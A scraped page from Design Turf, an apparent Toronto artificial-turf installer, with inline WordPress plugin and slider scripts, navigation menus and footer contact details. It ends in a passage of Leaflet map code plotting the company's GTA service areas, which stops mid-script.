var breeze_prefetch = {"local_url":"https://www.designturf.ca","ignore_remote_prefetch":"1","ignore_list":["wp-admin","wp-login.php"]}; //# sourceURL=breeze-prefetch-js-extra
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/infinitescroll/infinite-scroll.pkgd.min.js
https://www.designturf.ca/wp-content/plugins/responsive-lightbox/assets/dompurify/purify.min.js
window.RLG = window.RLG || {}; window.RLG.sanitizeAllowedHosts = ["youtube.com","www.youtube.com","youtu.be","vimeo.com","player.vimeo.com"]; //# sourceURL=responsive-lightbox-sanitizer-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_cff8034e8b54db04305eb25af61fbf22.js
var rlArgs = {"script":"prettyphoto","selector":"lightbox","customEvents":"ajaxComplete","activeGalleries":true,"animationSpeed":"normal","slideshow":false,"slideshowDelay":5000,"slideshowAutoplay":false,"opacity":"0.75","showTitle":true,"allowResize":true,"allowExpand":true,"width":1080,"height":720,"separator":"\/","theme":"pp_default","horizontalPadding":20,"hideFlash":false,"wmode":"opaque","videoAutoplay":false,"modal":true,"deeplinking":true,"overlayGallery":true,"keyboardShortcuts":true,"social":false,"woocommerce_gallery":false,"ajaxurl":"https:\/\/www.designturf.ca\/wp-admin\/admin-ajax.php","nonce":"faaefdfcf9","preview":false,"postId":9340,"scriptExtension":false}; //# sourceURL=responsive-lightbox-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_faa3be4a3f60fdca4a3a2fe70597adf9.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_7a48c52c849d19588b172c03df75b236.js
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_e9cc3cb85f6b3d4e39ed8fea92d6eab7.js
var ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php';
window._tpt ??= {}; window.SR7 ??= {}; _tpt.R ??= {}; _tpt.R.fonts ??= {}; _tpt.R.fonts.customFonts??= {}; SR7.devMode = false; SR7.F ??= {}; SR7.G ??= {}; SR7.LIB ??= {}; SR7.E ??= {}; SR7.E.gAddons ??= {}; SR7.E.php ??= {}; SR7.E.nonce = '35d5c5a0a2'; SR7.E.ajaxurl = 'https://www.designturf.ca/wp-admin/admin-ajax.php'; SR7.E.resturl = 'https://www.designturf.ca/wp-json/'; SR7.E.slug_path = 'revslider/revslider.php'; SR7.E.slug = 'revslider'; SR7.E.plugin_url = 'https://www.designturf.ca/wp-content/plugins/revslider/'; SR7.E.wp_plugin_url = 'https://www.designturf.ca/wp-content/plugins/'; SR7.E.revision = '6.7.58'; SR7.E.fontBaseUrl = '//fonts.googleapis.com/css2?family='; SR7.G.breakPoints = [1240,1024,778,480]; SR7.G.fSUVW = false; SR7.E.modules = ['module','page','slide','layer','draw','animate','srtools','canvas','defaults','carousel','navigation','media','modifiers','migration']; SR7.E.libs = ['WEBGL']; SR7.E.css = ['csslp','cssbtns','cssfilters','cssnav','cssmedia']; SR7.E.resources = {}; SR7.E.ytnc = false; SR7.JSON ??= {}; /*! Slider Revolution 7.0 - Page Processor */ !function(){"use strict";window.SR7??={},window._tpt??={},SR7.version="Slider Revolution 6.7.40",_tpt.getMobileZoom=()=>_tpt.is_mobile?document.documentElement.clientWidth/window.innerWidth:1,_tpt.getWinDim=function(t){_tpt.screenHeightWithUrlBar??=window.innerHeight;let e=SR7.F?.modal?.visible&&SR7.M[SR7.F.module.getIdByAlias(SR7.F.modal.requested)];_tpt.scrollBar=window.innerWidth!==document.documentElement.clientWidth||e&&window.innerWidth!==e.c.module.clientWidth,_tpt.winW=_tpt.getMobileZoom()*window.innerWidth-(_tpt.scrollBar||"prepare"==t?_tpt.scrollBarW??_tpt.mesureScrollBar():0),_tpt.winH=_tpt.getMobileZoom()*window.innerHeight,_tpt.winWAll=document.documentElement.clientWidth},_tpt.getResponsiveLevel=function(t,e){return SR7.G.fSUVW?_tpt.closestGE(t,window.innerWidth):_tpt.closestGE(t,_tpt.winWAll)},_tpt.mesureScrollBar=function(){let t=document.createElement("div");return t.className="RSscrollbar-measure",t.style.width="100px",t.style.height="100px",t.style.overflow="scroll",t.style.position="absolute",t.style.top="-9999px",document.body.appendChild(t),_tpt.scrollBarW=t.offsetWidth-t.clientWidth,document.body.removeChild(t),_tpt.scrollBarW},_tpt.loadCSS=async function(t,e,s){return s?_tpt.R.fonts.required[e].status=1:(_tpt.R[e]??={},_tpt.R[e].status=1),new Promise((i,n)=>{if(_tpt.isStylesheetLoaded(t))s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i();else{const o=document.createElement("link");o.rel="stylesheet";let l="text",r="css";o["type"]=l+"/"+r,o.href=t,o.onload=()=>{s?_tpt.R.fonts.required[e].status=2:_tpt.R[e].status=2,i()},o.onerror=()=>{s?_tpt.R.fonts.required[e].status=3:_tpt.R[e].status=3,n(new Error(`Failed to load CSS: ${t}`))},document.head.appendChild(o)}})},_tpt.addContainer=function(t){const{tag:e="div",id:s,class:i,datas:n,textContent:o,iHTML:l}=t,r=document.createElement(e);if(s&&""!==s&&(r.id=s),i&&""!==i&&(r.className=i),n)for(const[t,e]of Object.entries(n))"style"==t?r.style.cssText=e:r.setAttribute(`data-${t}`,e);return o&&(r.textContent=o),l&&(r.innerHTML=l),r},_tpt.collector=function(){return{fragment:new DocumentFragment,add(t){var e=_tpt.addContainer(t);return this.fragment.appendChild(e),e},append(t){t.appendChild(this.fragment)}}},_tpt.isStylesheetLoaded=function(t){let e=t.split("?")[0];return Array.from(document.querySelectorAll('link[rel="stylesheet"], link[rel="preload"]')).some(t=>t.href.split("?")[0]===e)},_tpt.preloader={requests:new Map,preloaderTemplates:new Map,show:function(t,e){if(!e||!t)return;const{type:s,color:i}=e;if(s<0||"off"==s)return;const n=`preloader_${s}`;let o=this.preloaderTemplates.get(n);o||(o=this.build(s,i),this.preloaderTemplates.set(n,o)),this.requests.has(t)||this.requests.set(t,{count:0});const l=this.requests.get(t);clearTimeout(l.timer),l.count++,1===l.count&&(l.timer=setTimeout(()=>{l.preloaderClone=o.cloneNode(!0),l.anim&&l.anim.kill(),void 0!==_tpt.gsap?l.anim=_tpt.gsap.fromTo(l.preloaderClone,1,{opacity:0},{opacity:1}):l.preloaderClone.classList.add("sr7-fade-in"),t.appendChild(l.preloaderClone)},150))},hide:function(t){if(!this.requests.has(t))return;const e=this.requests.get(t);e.count--,e.count<0&&(e.count=0),e.anim&&e.anim.kill(),0===e.count&&(clearTimeout(e.timer),e.preloaderClone&&(e.preloaderClone.classList.remove("sr7-fade-in"),e.anim=_tpt.gsap.to(e.preloaderClone,.3,{opacity:0,onComplete:function(){e.preloaderClone.remove()}})))},state:function(t){if(!this.requests.has(t))return!1;return this.requests.get(t).count>0},build:(t,e="#ffffff",s="")=>{if(t<0||"off"===t)return null;const i=parseInt(t);if(t="prlt"+i,isNaN(i))return null;if(_tpt.loadCSS(SR7.E.plugin_url+"public/css/preloaders/t"+i+".css","preloader_"+t),isNaN(i)||i<6){const n=`background-color:${e}`,o=1===i||2==i?n:"",l=3===i||4==i?n:"",r=_tpt.collector();["dot1","dot2","bounce1","bounce2","bounce3"].forEach(t=>r.add({tag:"div",class:t,datas:{style:l}}));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`,datas:{style:o}});return r.append(d),d}{let n={};if(7===i){let t;e.startsWith("#")?(t=e.replace("#",""),t=`rgba(${parseInt(t.substring(0,2),16)}, ${parseInt(t.substring(2,4),16)}, ${parseInt(t.substring(4,6),16)}, `):e.startsWith("rgb")&&(t=e.slice(e.indexOf("(")+1,e.lastIndexOf(")")).split(",").map(t=>t.trim()),t=`rgba(${t[0]}, ${t[1]}, ${t[2]}, `),t&&(n.style=`border-top-color: ${t}0.65); border-bottom-color: ${t}0.15); border-left-color: ${t}0.65); border-right-color: ${t}0.15)`)}else 12===i&&(n.style=`background:${e}`);const o=[10,0,4,2,5,9,0,4,4,2][i-6],l=_tpt.collector(),r=l.add({tag:"div",class:"sr7-prl-inner",datas:n});Array.from({length:o}).forEach(()=>r.appendChild(l.add({tag:"span",datas:{style:`background:${e}`}})));const d=_tpt.addContainer({tag:"sr7-prl",class:`${t} ${s}`});return l.append(d),d}}},SR7.preLoader={show:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.show(e||SR7.M[t].c.module,SR7.M[t]?.settings?.pLoader??{color:"#fff",type:10})},hide:(t,e)=>{"off"!==(SR7.M[t]?.settings?.pLoader?.type??"off")&&_tpt.preloader.hide(e||SR7.M[t].c.module)},state:(t,e)=>_tpt.preloader.state(e||SR7.M[t].c.module)},_tpt.prepareModuleHeight=function(t){window.SR7.M??={},window.SR7.M[t.id]??={},"ignore"==t.googleFont&&(SR7.E.ignoreGoogleFont=!0);let e=window.SR7.M[t.id];if(null==_tpt.scrollBarW&&_tpt.mesureScrollBar(),e.c??={},e.states??={},e.settings??={},e.settings.size??={},t.fixed&&(e.settings.fixed=!0),e.c.module=document.querySelector("sr7-module#"+t.id),e.c.adjuster=e.c.module.getElementsByTagName("sr7-adjuster")[0],e.c.content=e.c.module.getElementsByTagName("sr7-content")[0],"carousel"==t.type&&(e.c.carousel=e.c.content.getElementsByTagName("sr7-carousel")[0]),null==e.c.module||null==e.c.module)return;t.plType&&t.plColor&&(e.settings.pLoader={type:t.plType,color:t.plColor}),void 0===t.plType||"off"===t.plType||SR7.preLoader.state(t.id)&&SR7.preLoader.state(t.id,e.c.module)||SR7.preLoader.show(t.id,e.c.module),_tpt.winW||_tpt.getWinDim("prepare"),_tpt.getWinDim();let s=""+e.c.module.dataset?.modal;"modal"==s||"true"==s||"undefined"!==s&&"false"!==s||(e.settings.size.fullWidth=t.size.fullWidth,e.LEV??=_tpt.getResponsiveLevel(window.SR7.G.breakPoints,t.id),t.vpt=_tpt.fillArray(t.vpt,5),e.settings.vPort=t.vpt[e.LEV],void 0!==t.el&&"720"==t.el[4]&&t.gh[4]!==t.el[4]&&"960"==t.el[3]&&t.gh[3]!==t.el[3]&&"768"==t.el[2]&&t.gh[2]!==t.el[2]&&delete t.el,e.settings.size.height=null==t.el||null==t.el[e.LEV]||0==t.el[e.LEV]||"auto"==t.el[e.LEV]?_tpt.fillArray(t.gh,5,-1):_tpt.fillArray(t.el,5,-1),e.settings.size.width=_tpt.fillArray(t.gw,5,-1),e.settings.size.minHeight=_tpt.fillArray(t.mh??[0],5,-1),e.cacheSize={fullWidth:e.settings.size?.fullWidth,fullHeight:e.settings.size?.fullHeight},void 0!==t.off&&(t.off?.t&&(e.settings.size.m??={})&&(e.settings.size.m.t=t.off.t),t.off?.b&&(e.settings.size.m??={})&&(e.settings.size.m.b=t.off.b),t.off?.l&&(e.settings.size.p??={})&&(e.settings.size.p.l=t.off.l),t.off?.r&&(e.settings.size.p??={})&&(e.settings.size.p.r=t.off.r),e.offsetPrepared=!0),_tpt.updatePMHeight(t.id,t,!0))},_tpt.updatePMHeight=(t,e,s)=>{let i=SR7.M[t];var n=i.settings.size.fullWidth?_tpt.winW:i.c.module.parentNode.offsetWidth;n=0===n||isNaN(n)?_tpt.winW:n;let o=i.settings.size.width[i.LEV]||i.settings.size.width[i.LEV++]||i.settings.size.width[i.LEV--]||n,l=i.settings.size.height[i.LEV]||i.settings.size.height[i.LEV++]||i.settings.size.height[i.LEV--]||0,r=i.settings.size.minHeight[i.LEV]||i.settings.size.minHeight[i.LEV++]||i.settings.size.minHeight[i.LEV--]||0;if(l="auto"==l?0:l,l=parseInt(l),"carousel"!==e.type&&(n-=parseInt(e.onw??0)||0),i.MP=!i.settings.size.fullWidth&&n<o||_tpt.winW<o?Math.min(1,n/o):1,e.size.fullScreen||e.size.fullHeight){let t=parseInt(e.fho)||0,s=(""+e.fho).indexOf("%")>-1;e.newh=_tpt.winH-(s?_tpt.winH*t/100:t)}else e.newh=i.MP*Math.max(l,r);if(e.newh+=(parseInt(e.onh??0)||0)+(parseInt(e.carousel?.pt)||0)+(parseInt(e.carousel?.pb)||0),void 0!==e.slideduration&&(e.newh=Math.max(e.newh,parseInt(e.slideduration)/3)),e.shdw&&_tpt.buildShadow(e.id,e),i.c.adjuster.style.height=e.newh+"px",i.c.module.style.height=e.newh+"px",i.c.content.style.height=e.newh+"px",i.states.heightPrepared=!0,i.dims??={},i.dims.moduleRect=i.c.module.getBoundingClientRect(),i.c.content.style.left="-"+i.dims.moduleRect.left+"px",!i.settings.size.fullWidth)return s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)}),void _tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0);_tpt.bgStyle(e.id,e,window.innerWidth==_tpt.winW,!0),requestAnimationFrame(function(){s&&requestAnimationFrame(()=>{n!==i.c.module.parentNode.offsetWidth&&_tpt.updatePMHeight(e.id,e)})}),i.earlyResizerFunction||(i.earlyResizerFunction=function(){requestAnimationFrame(function(){_tpt.getWinDim(),_tpt.moduleDefaults(e.id,e),_tpt.updateSlideBg(t,!0)})},window.addEventListener("resize",i.earlyResizerFunction))},_tpt.buildShadow=function(t,e){let s=SR7.M[t];null==s.c.shadow&&(s.c.shadow=document.createElement("sr7-module-shadow"),s.c.shadow.classList.add("sr7-shdw-"+e.shdw),s.c.content.appendChild(s.c.shadow))},_tpt.bgStyle=async(t,e,s,i,n)=>{const o=SR7.M[t];if((e=e??o.settings).fixed&&!o.c.module.classList.contains("sr7-top-fixed")&&(o.c.module.classList.add("sr7-top-fixed"),o.c.module.style.position="fixed",o.c.module.style.width="100%",o.c.module.style.top="0px",o.c.module.style.left="0px",o.c.module.style.pointerEvents="none",o.c.module.style.zIndex=5e3,o.c.content.style.pointerEvents="none"),null==o.c.bgcanvas){let t=document.createElement("sr7-module-bg"),l=!1;if("string"==typeof e?.bg?.color&&e?.bg?.color.includes("{"))if(_tpt.gradient&&_tpt.gsap)e.bg.color=_tpt.gradient.convert(e.bg.color);else try{let t=JSON.parse(e.bg.color);(t?.orig||t?.string)&&(e.bg.color=JSON.parse(e.bg.color))}catch(t){return}let r="string"==typeof e?.bg?.color?e?.bg?.color||"transparent":e?.bg?.color?.string??e?.bg?.color?.orig??e?.bg?.color?.color??"transparent";if(t.style["background"+(String(r).includes("grad")?"":"Color")]=r,("transparent"!==r||n)&&(l=!0),o.offsetPrepared&&(t.style.visibility="hidden"),e?.bg?.image?.src&&(t.style.backgroundImage=`url(${e?.bg?.image.src})`,t.style.backgroundSize=""==(e.bg.image?.size??"")?"cover":e.bg.image.size,t.style.backgroundPosition=e.bg.image.position,t.style.backgroundRepeat=""==e.bg.image.repeat||null==e.bg.image.repeat?"no-repeat":e.bg.image.repeat,l=!0),!l)return;o.c.bgcanvas=t,e.size.fullWidth?t.style.width=_tpt.winW-(s&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":i&&(t.style.width=o.c.module.offsetWidth+"px"),e.sbt?.use?o.c.content.appendChild(o.c.bgcanvas):o.c.module.appendChild(o.c.bgcanvas)}o.c.bgcanvas.style.height=void 0!==e.newh?e.newh+"px":("carousel"==e.type?o.dims.module.h:o.dims.content.h)+"px",o.c.bgcanvas.style.left=!s&&e.sbt?.use||o.c.bgcanvas.closest("SR7-CONTENT")?"0px":"-"+(o?.dims?.moduleRect?.left??0)+"px"},_tpt.updateSlideBg=function(t,e){const s=SR7.M[t];let i=s.settings;s?.c?.bgcanvas&&(i.size.fullWidth?s.c.bgcanvas.style.width=_tpt.winW-(e&&_tpt.winH<document.body.offsetHeight?_tpt.scrollBarW:0)+"px":preparing&&(s.c.bgcanvas.style.width=s.c.module.offsetWidth+"px"))},_tpt.moduleDefaults=(t,e)=>{let s=SR7.M[t];null!=s&&null!=s.c&&null!=s.c.module&&(s.dims??={},s.dims.moduleRect=s.c.module.getBoundingClientRect(),s.c.content.style.left="-"+s.dims.moduleRect.left+"px",s.c.content.style.width=_tpt.winW-_tpt.scrollBarW+"px","carousel"==e.type&&(s.c.module.style.overflow="visible"),_tpt.bgStyle(t,e,window.innerWidth==_tpt.winW))},_tpt.getOffset=t=>{var e=t.getBoundingClientRect(),s=window.pageXOffset||document.documentElement.scrollLeft,i=window.pageYOffset||document.documentElement.scrollTop;return{top:e.top+i,left:e.left+s}},_tpt.fillArray=function(t,e){let s,i;t=Array.isArray(t)?t:[t];let n=Array(e),o=t.length;for(i=0;i<t.length;i++)n[i+(e-o)]=t[i],null==s&&"#"!==t[i]&&(s=t[i]);for(let t=0;t<e;t++)void 0!==n[t]&&"#"!=n[t]||(n[t]=s),s=n[t];return n},_tpt.closestGE=function(t,e){let s=Number.MAX_VALUE,i=-1;for(let n=0;n<t.length;n++)t[n]-1>=e&&t[n]-1-e<s&&(s=t[n]-1-e,i=n);return++i}}();
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact

  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
      • Backyard Golf Greens And Beyond
      • Artificial Golf Greens & Turf
      • Golf Greens The Process
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
      • Beautiful Gardens & Professional Plantings
      • Patios & Stonework
      • Modern Fencing & Privacy Screens
      • Decking & Outdoor Living Spaces
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
      • Muskoka-Royal-70 Spec
      • Ontario-Lush-80
      • Ontario-Lush-60
      • Algonquin-ECO-60 spec
      • Ontario-Lush-40-Spec
      • Algonquin-ECO-40 Spec
    • Pet Turf Specifications Overview
      • K9-60 Specification
      • K9-45 Specification
    • Playground Turf Specifications Overview
      • Optimum-Play-60-Spec
      • Optimum-Play-45 spec
    • Putting Greens Specifications Overview
      • PG-Augusta-spec
      • The-Players-spec
    • Sports Turf Specifications Overview
      • XL PRO
      • Sport 52
      • Sport 45
  • Full Pricing Page
    • Premium Turf Pricing
      • DT MR70-new
      • DT-ONT-LUSH-80
    • Natural Turf Pricing
      • DT-ALGONQUIN-ECO-60
      • DT-ONT-LUSH-60
      • DT-ALGONQUIN-ECO-40
      • DT-ONT-LUSH-40
    • Turf for Kids
      • DT-OPTIMUM-PLAY-60
      • DT-OPTIMUM-PLAY-45
    • Doggie Turf
      • DT-K9-Champion-60
      • DT-K9-Champion-45
    • Putting Greens
      • DT PG Augusta
      • DT The Players
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
      • Artificial Grass Comparison Guide
      • Artificial Grass Cost Guide
      • Landscape Grass Design Ideas
      • Small Yard Artificial Grass
      • Artificial Grass Buying Guide
      • Installation FAQ
    • Playground Turf Overview
      • Playground Turf Installation
      • Playground Turf FAQ New
      • Playground Turf Cost Guide
      • Playground Turf Comparison
      • Playground Turf Maintenance
      • Fall Height & Impact Testing New
      • Playground Turf Safety Standards
    • Putting Greens Overview
      • Putting Green FAQ
      • Putting Green Cost New
      • Putting Green Guide
      • Putting Green Maintenance
      • Putting Green Base Construction New
    • Pet Turf Overview
      • Pet Turf FAQ
      • Pet Turf Cost
      • Pet turf Guide
      • Preventing Odours in Pet Turf
      • Pet Turf Comparison
      • Pet Turf Maintenance Guide
      • Pet Turf Installation
      • Pet Turf Drainage Explained
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
  • Home
  • Products
    • Artificial Grass Toronto | Installation & Landscaping
    • Dog And Pet Turf
    • playground page (new)
    • Golf Greens
    • Athletic Surfaces
    • Before & After Images Gallery
    • Landscape Construction
    • Envirofill Artificial Turf Infill
  • Our Services
  • Specifications
    • Landscape Grass Specification Overview
    • Pet Turf Specifications Overview
    • Playground Turf Specifications Overview
    • Putting Greens Specifications Overview
    • Sports Turf Specifications Overview
  • Full Pricing Page
    • Premium Turf Pricing
    • Natural Turf Pricing
    • Turf for Kids
    • Doggie Turf
    • Putting Greens
  • About Us
    • Service Areas Page
  • Resources
    • All Galleries
    • Master FAQ
    • Landscape Turf Overview
    • Playground Turf Overview
    • Putting Greens Overview
    • Pet Turf Overview
    • Synthetic Turf Videos
    • Installation Warranty
    • Artificial Grass Warranty
  • Dedicated Review Page
  • Blog
    • The Complete Beginners Guide to Artificial Grass (Toronto Edition)
    • Artificial-Grass-Cost-in-Toronto (2026 Pricing Guide)
    • Environmental Benefits of Artificial Grass
    • Benefits of Modern artificial grass
    • Benefits of artificial grass
    • artificial grass vs real grass
    • Artificial Grass for Pets
    • Best Artificial Grass Blog
    • Small Yard Artificial Grass-Blog
    • Playground grass for kids
  • Contact
✕

Toronto's top-tier artificial turf specialists. Expert residential, commercial, and custom installations serving the entire Greater Toronto Area.

Call Us
(416) 546-6490
Email
info@designturf.ca
Location
10 Gormley Industrial Ave, Unit 2-3 Gormley, ON L0H 1G0 Serving the GTA
Hours
Mon – Sat: 8 AM – 6 PM
Our Services
  • Residential Home landscape grass
  • Residential backyard playgrounds
  • Residential Backyard Putting Greens
  • Daycare Centres Artificial Safe Surfaces
  • Dog Kennels
  • Commercial Artificial landscape grass & Construction
  • Schools, & daycare operators
  • Sports Fields & Schools
© 2026 Artificial Grass Toronto | Design Turf. All Rights Reserved. Muffin group
  • Home
  • Products
  • Our Services
  • Specifications
  • Full Pricing Page
  • About Us
  • Resources
  • Dedicated Review Page
  • Blog
  • Contact
Call 416-546-6490
(function(){ 'use strict'; /* ═══════════════════════════════════════════ CONFIGURATION — UPDATE THESE VALUES ═══════════════════════════════════════════ */ // Design Turf HQ coordinates (update to exact address) var HQ_LAT = 43.6532; var HQ_LNG = -79.3832; // Service area pins (red markers) — add/remove as needed var SERVICE_AREAS = [ { name: 'Mississauga', lat: 43.5890, lng: -79.6441 }, { name: 'Brampton', lat: 43.7315, lng: -79.7624 }, { name: 'Vaughan', lat: 43.8361, lng: -79.4983 }, { name: 'Markham', lat: 43.8561, lng: -79.3370 }, { name: 'Oakville', lat: 43.4675, lng: -79.6877 }, { name: 'Richmond Hill', lat: 43.8828, lng: -79.4403 }, { name: 'Pickering', lat: 43.8354, lng: -79.0868 }, { name: 'Ajax', lat: 43.8509, lng: -79.0204 }, { name: 'Newmarket', lat: 44.0592, lng: -79.4613 }, { name: 'Milton', lat: 43.5183, lng: -79.8774 }, { name: 'Burlington', lat: 43.3255, lng: -79.7990 }, { name: 'Stouffville', lat: 43.9701, lng: -79.2453 }, { name: 'Oshawa', lat: 43.8971, lng: -78.8658 }, { name: 'Uxbridge', lat: 44.11396, lng: -79.11049 } ]; // WP REST API — Services category ID // ► OPTION A: By category (requires categories enabled on pages) var SERVICES_CATEGORY_ID = 0; // ← Replace with your actual category ID // ► OPTION B: By parent page ID (uncomment below, comment out Option A) // var SERVICES_PARENT_ID = 0; // ← Replace with your Services parent page ID /* ═══════════════════════════════════════════ PIN FACTORY — Inline SVG markers ═══════════════════════════════════════════ */ function makePin(fillColor, label) { var svg = '<svg xmlns="http://www.w3.org/2000/svg" width="32" height="46" viewBox="0 0 32 46">' + '<defs><filter id="ds' + fillColor.replace('#','') + '" x="-20%" y="-10%" width="140%" height="130%">' + '<feDropShadow dx="0" dy="2" stdDeviation="2" flood-color="rgba(0,0,0,0.3)"/></filter></defs>' + '<path d="M16 1C7.7 1 1 7.7 1 16c0 11.3 15 29 15 29s15-17.7 15-29C31 7.7 24.3 1 16 1z" ' + 'fill="' + fillColor + '" stroke="#ffffff" stroke-width="2" filter="url(%23ds' + fillColor.replace('#','') + ')"/>' + '<circle cx="16" cy="15" r="6.5" fill="#ffffff" opacity="0.92"/>' + '</svg>'; return L.divIcon({ className: '', html: svg, iconSize: [32, 46], iconAnchor: [16, 46], popupAnchor:[0, -42] }); } var greenPin = makePin('#00A651', 'HQ'); var redPin = makePin('#E53935', 'Area'); /* ═══════════════════════════════════════════ MAP INITIALIZATION ═══════════════════════════════════════════ */ var map = L.map('dt-leaflet-map', { center: [HQ_LAT, HQ_LNG], zoom: 10, scrollWheelZoom: false, zoomControl: true, attributionControl: true }); // CartoDB Voyager tiles — clean, premium aesthetic L.tileLayer('https://{s}.basemaps.cartocdn.com/rastertiles/voyager/{z}/{x}/{y}{r}.png', { attribution: '&copy; <a href="https://openstreetmap.org">OpenStreetMap</a> &copy; <a href="https://carto.com/">CARTO</a>', subdomains: 'abcd', maxZoom: 19 }).addTo(map); // ── HQ Marker (GREEN) ── L.marker([HQ_LAT, HQ_LNG], { icon: greenPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;min-width:160px;">' + '<div style="font-size:16px;font-weight:800;color:#00A651;margin-bottom:3px;">Design Turf</div>' + '<div style="font-size:13px;color:#555;margin-bottom:6px;">Headquarters · Toronto, ON</div>' + '<a href="/contact/" style="display:inline-block;padding:5px 16px;background:#00A651;color:#fff;text-decoration:none;font-size:12px;font-weight:700;border-radius:4px;">Get a Quote</a>' + '</div>' ); // ── Service Area Markers (RED) ── var bounds = L.latLngBounds([[HQ_LAT, HQ_LNG]]); SERVICE_AREAS.forEach(function(area) { L.marker([area.lat, area.lng], { icon: redPin }) .addTo(map) .bindPopup( '<div style="font-family:Segoe UI,system-ui,sans-serif;text-align:center;padding:6px 10px;">' + '<div style="font-size:15px;font-weight:700;color:#E53935;margin-bottom:2px;">' + area.name + '</div>' + '<div style="font-size:12px;color:#666;">We service this area</div>' + '</div>' ); bounds.extend([area.lat, area.lng]); }); map.fitBounds(bounds, { padding: [40, 40] }); /* ═══════════════════════════════════════════ SERVICE AREA SHADING — Convex Hull + Buffer Renders behind markers automatically ═══════════════════════════════════════════ */ // Collect all points (HQ + service areas) var allPoints = [[HQ_LAT, HQ_LNG]]; SERVICE_AREAS.forEach(function(a) { allPoints.push([a.lat, a.lng]); }); // ── Convex Hull (Gift Wrapping / Jarvis March) ── function cross(O, A, B) { return (A[1] - O[1]) * (B[0] - O[0]) - (A[0] - O[0]) * (B[1] - O[1]); } function convexHull(points) { var pts = points.slice().sort(function(a, b) { return a[0] === b[0] ? a[1] - b[1] : a[0] - b[0]; }); if (pts.length <= 1) return pts; var lower = []; for (var i = 0; i < pts.length; i++) { while (lower.length >= 2 && cross(lower[lower.length - 2], lower[lower.length - 1], pts[i]) <= 0) lower.pop(); lower.push(pts[i]); } var upper = []; for (var j = pts.length - 1; j >= 0; j--) { while (upper.length >= 2 && cross(upper[upper.length - 2], upper[upper.length - 1], pts[j]) <= 0) upper.pop(); upper.push(pts[j]); } upper.pop(); lower.pop(); return lower.concat(upper); } // ── Buffer Expansion ── // Pushes each hull vertex outward from centroid by a factor function expandHull(hull, factor) { var centLat = 0, centLng = 0; hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; }); centLat /= hull.length; centLng /= hull.length; return hull.map(function(p) { var dLat = p[0] - centLat; var dLng = p[1] - centLng; return [centLat + dLat * factor, centLng + dLng * factor]; }); } var hull = convexHull(allPoints); // ── Create custom map panes for layer ordering ── map.createPane('outerGlow'); map.getPane('outerGlow').style.zIndex = 350; map.createPane('innerFill'); map.getPane('innerFill').style.zIndex = 360; // ── LAYER 1: Outer glow ring (wider, very faint) ── var outerHull = expandHull(hull, 1.35); L.polygon(outerHull, { color: '#00A651', weight: 0, fillColor: '#00A651', fillOpacity: 0.04, smoothFactor: 1.5, pane: 'outerGlow', interactive: false }).addTo(map); // ── LAYER 2: Inner coverage zone (light green fill) ── var innerHull = expandHull(hull, 1.15); L.polygon(innerHull, { color: '#00A651', weight: 2, opacity: 0.3, dashArray: '8 6', fillColor: '#00C853', fillOpacity: 0.08, smoothFactor: 1.5, pane: 'innerFill', interactive: false }).addTo(map); // ── LAYER 3: Subtle center radial (warm core near HQ) ── L.circle([HQ_LAT, HQ_LNG], { radius: 12000, color: 'transparent', fillColor: '#00A651', fillOpacity: 0.06, pane: 'innerFill', interactive: false }).addTo(map); /* ═══════════════════════════════════════════ MAP TEXT LABEL — "Our Service Area" Positioned over Lake Ontario (dead zone) ═══════════════════════════════════════════ */ var labelPane = map.createPane('mapLabel'); labelPane.style.zIndex = 450; labelPane.style.pointerEvents = 'none'; L.marker([43.30, -79.18], { pane: 'mapLabel', interactive: false, keyboard: false, icon: L.divIcon({ className: '', iconSize: [340, 80], iconAnchor: [170, 40], html: '<div style="' + 'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' + 'font-size:28px;' + 'font-weight:800;' + 'color:rgba(0,166,81,0.35);' + 'text-transform:uppercase;' + 'letter-spacing:6px;' + 'text-align:center;' + 'white-space:nowrap;' + 'line-height:1;' + 'pointer-events:none;' + 'user-select:none;' + '-webkit-user-select:none;' + 'text-shadow:0 1px 3px rgba(255,255,255,0.6);' + '">Our Service Area</div>' }) }).addTo(map); // Enable scroll zoom after first click (UX-friendly) map.once('click', function() { map.scrollWheelZoom.enable(); }); /* ═══════════════════════════════════════════ DYNAMIC SERVICE LIST — WP REST API ═══════════════════════════════════════════ */ var apiUrl; if (SERVICES_CATEGORY_ID > 0) { apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID + '&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt'; } else { renderFallbackServices(); return; } var grid = document.getElementById('dt-services-grid'); fetch(apiUrl) .then(function(response) { if (!response.ok) throw new Error('API error: ' 